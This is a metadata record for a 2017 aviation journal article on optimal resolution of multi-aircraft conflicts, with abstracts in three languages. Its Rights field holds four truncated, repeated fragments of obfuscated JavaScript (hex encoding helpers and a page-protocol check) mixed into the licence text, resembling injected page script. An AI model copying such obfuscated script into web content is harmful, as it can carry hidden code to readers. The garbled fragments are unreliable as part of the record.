Record Details

METHOD FOR OPTIMAL RESOLUTION OF MULTI-AIRCRAFT CONFLICTS IN THREE-DIMENSIONAL SPACE

Наукові журнали Національного Авіаційного Університету

View Archive Info
 
 
Field Value
 
Title METHOD FOR OPTIMAL RESOLUTION OF MULTI-AIRCRAFT CONFLICTS IN THREE-DIMENSIONAL SPACE
Метод оптимального разрешения групповых конфликтных ситуаций между воздушными судами в трехмерном пространстве
Метод оптимального розв’язання групових конфліктних ситуацій між повітряними суднами у тривимірному просторі
 
Creator Vasyliev, Denys; Ukrainian State Air Traffic Services Enterprise (UkSATSE), Airport, , Boryspil
 
Subject —
aircraft; air traffic control; conflict resolution; dynamic programming; flight safety; multi-aircraft conflict; multi-objective optimization
656.7.084:351.814.339:519.8(045)
—
безопасность полетов; воздушное судно; групповая конфликтная ситуация между воздушными судами; динамическое программирование; многокритериальная оптимизация; разрешение конфликтной ситуации; управление воздушным движением
656.7.084:351.814.339:519.8(045)
—
багатокритеріальна оптимізація; безпека польотів; групова конфліктна ситуація між повітряними суднами; динамічне програмування; повітряне судно; розв’язання конфліктної ситуації; управління повітряним рухом
656.7.084:351.814.339:519.8(045)
 
Description Purpose: The risk of critical proximities of several aircraft and appearance of multi-aircraft conflicts increases under current conditions of high dynamics and density of air traffic. The actual problem is a development of methods for optimal multi-aircraft conflicts resolution that should provide the synthesis of conflict-free trajectories in three-dimensional space. Methods: The method for optimal resolution of multi-aircraft conflicts using heading, speed and altitude change maneuvers has been developed. Optimality criteria are flight regularity, flight economy and the complexity of maneuvering. Method provides the sequential synthesis of the Pareto-optimal set of combinations of conflict-free flight trajectories using multi-objective dynamic programming and selection of optimal combination using the convolution of optimality criteria. Within described method the following are defined: the procedure for determination of combinations of aircraft conflict-free states that define the combinations of Pareto-optimal trajectories; the limitations on discretization of conflict resolution process for ensuring the absence of unobservable separation violations. Results: The analysis of the proposed method is performed using computer simulation which results show that synthesized combination of conflict-free trajectories ensures the multi-aircraft conflict avoidance and complies with defined optimality criteria. Discussion: Proposed method can be used for development of new automated air traffic control systems, airborne collision avoidance systems, intelligent air traffic control simulators and for research activities.
Цель: В современных условиях высокой динамичности и плотности воздушного движения значительно возрастает опасность критического сближения сразу нескольких воздушных судов и возникновения групповых конфликтных ситуаций. Актуальной проблемой является разработка методов оптимального разрешения групповых конфликтных ситуаций, которые должны обеспечивать синтез бесконфликтных траекторий в трехмерном пространстве. Методы: Разработан метод оптимального разрешения групповых конфликтных ситуаций с применением маневрирования по изменению курса, скорости и высоты полета. Критериями оптимальности определены регулярность, экономичность полетов и сложность маневрирования. Метод заключается в последовательном синтезе множества Парето-оптимальных комбинаций бесконфликтных траекторий совокупности воздушных судов с использованием дискретного многокритериального динамического программирования и определении оптимальной комбинации с использованием свертки критериев оптимальности. В рамках метода определены: процедура формирования бесконфликтных комбинаций состояний совокупности воздушных судов, определяющих комбинации Парето-оптимальных траекторий; ограничения, которые накладываются при дискретизации процесса разрешения конфликта для обеспечения отсутствия ненаблюдаемых нарушений эшелонирования. Результаты: Исследование предложенного метода выполнено путем компьютерного моделирования, результаты которого показали, что синтезированная комбинация бесконфликтная траектория обеспечивает устранение групповой конфликтной ситуации и соответствует установленным критериям оптимальности. Обсуждение: Предложенный метод может быть использован при разработке новых автоматизированных систем управления воздушным движением, бортовых систем предупреждения столкновений, интеллектуальных тренажеров управления воздушным движением и для проведения научных исследований.
Мета: В сучасних умовах високої динамічності і щільності повітряного руху значно зростає небезпека критичного зближення відразу декількох повітряних суден і виникнення групових конфліктних ситуацій. Актуальною проблемою є розробка методів оптимального розв’язання групових конфліктних ситуацій, які повинні забезпечувати синтез безконфліктних траєкторій у тривимірному просторі. Методи: Розроблено метод оптимального розв’язання групових конфліктних ситуацій із застосуванням маневрування зміною курсу, швидкості та висоти польоту. Критеріями оптимальності визначені регулярність, економічність польотів і складність маневрування. Метод полягає у послідовному синтезі множини Парето-оптимальних комбінацій безконфліктних траєкторій сукупності повітряних суден з використанням дискретного багатокритеріального динамічного програмування та визначенні оптимальної комбінації із застосуванням із застосуванням згортки критеріїв оптимальності. В рамках методу визначено: процедуру формування безконфліктних комбінацій станів сукупності повітряних суден, які визначають комбінації Парето-оптимальних траєкторій; обмеження, які накладаються при дискретизації процесу розв’язання конфлікту для забезпечення відсутності неспостережуваних порушень ешелонування. Результати: Дослідження запропонованого методу виконано шляхом комп’ютерного моделювання, результати якого показали, що синтезована комбінація безконфліктних траєкторія забезпечує усунення групової конфліктної ситуації та відповідає встановленим критеріям оптимальності. Обговорення: Запропонований метод може бути використаний при розробці нових автоматизованих систем управління повітряним рухом, бортових систем попередження зіткнень, інтелектуальних тренажерів керування повітряним рухом та для проведення наукових досліджень.
 
Publisher National Aviation University
 
Contributor —
—
—
 
Date 2017-03-28
 
Type —
—
—
 
Format application/pdf
application/pdf
application/pdf
 
Identifier http://jrnl.nau.edu.ua/index.php/visnik/article/view/11421
10.18372/2306-1472.70.11421
 
Source Proceedings of the National Aviation University; Том 70, № 1 (2017); 36-47
Вестник Национального авиационного университета; Том 70, № 1 (2017); 36-47
Вісник Національного Авіаційного Університету; Том 70, № 1 (2017); 36-47
 
Language en
 
Rights // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access).// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
 

Технічна підтримка: НДІІТТ НАУ